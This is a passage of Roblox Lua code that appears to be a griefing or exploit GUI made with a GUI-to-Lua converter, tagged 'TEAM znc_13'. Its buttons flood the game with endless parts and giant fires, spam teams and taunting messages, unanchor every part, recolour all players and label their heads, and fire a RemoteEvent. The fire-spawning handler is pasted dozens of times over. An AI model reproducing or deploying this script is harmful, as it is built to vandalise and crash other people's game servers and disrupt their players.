script.Parent.Parent.Visible = false end) end; task.spawn(C_1f); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_22() local script = G2L["22"]; function click() while true do local team1 = Instance.new("Team", game.Teams) team1.Name = "TEAM znc_13!" team1.TeamColor = BrickColor.random() game:service'Debris':AddItem(team1,0.3) wait() end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_22); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_24() local script = G2L["24"]; script.Parent.MouseButton1Click:Connect(function() while true do communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) wait() doom=Instance.new("Part") local imnotfat = math.random(1, 3) if imnotfat == 1 then doom.Shape = "Ball" else if imnotfat == 2 then doom.Shape = "Cylinder" else end end doom.Material = "Neon" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace yooka=math.random(-200, -50) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, yooka, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, 800, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace end end) end; task.spawn(C_24); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_26() local script = G2L["26"]; function click() while wait(0.4) do xd = Instance.new("Message",workspace) xd.Text = "GET REKTED BY TEAM znc_13!" wait(0.4) xd:Remove() end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_26); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_29() local script = G2L["29"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_29); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_2c() local script = G2L["2c"]; script.Parent.MouseButton1Down:Connect(function() for i,v in pairs(game:GetService("Players"):GetChildren()) do if v:IsA("Player") then local gui = Instance.new("BillboardGui",v.Character.Head) gui.Adornee = v.Character.Head gui.Size = UDim2.new(0,100,0,150) gui.StudsOffset = Vector3.new(0,1,0) local text = Instance.new("TextLabel",gui) text.Text = "znc_13 TEAM IS HERE !" text.Position = UDim2.new(0,0,0,-50) text.Size = UDim2.new(0,100,0,100) text.BackgroundTransparency = 0.1 text.TextScaled = true end end end) end; task.spawn(C_2c); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_2e() local script = G2L["2e"]; script.Parent.MouseButton1Down:Connect(function() for i,v in pairs(game.Workspace:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end end) end; task.spawn(C_2e); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_30() local script = G2L["30"]; function click() for _,player in pairs(game.Players:GetPlayers()) do spawn(function() while wait(0.7) do player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random() end end) end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_30); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_32() local script = G2L["32"]; script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = 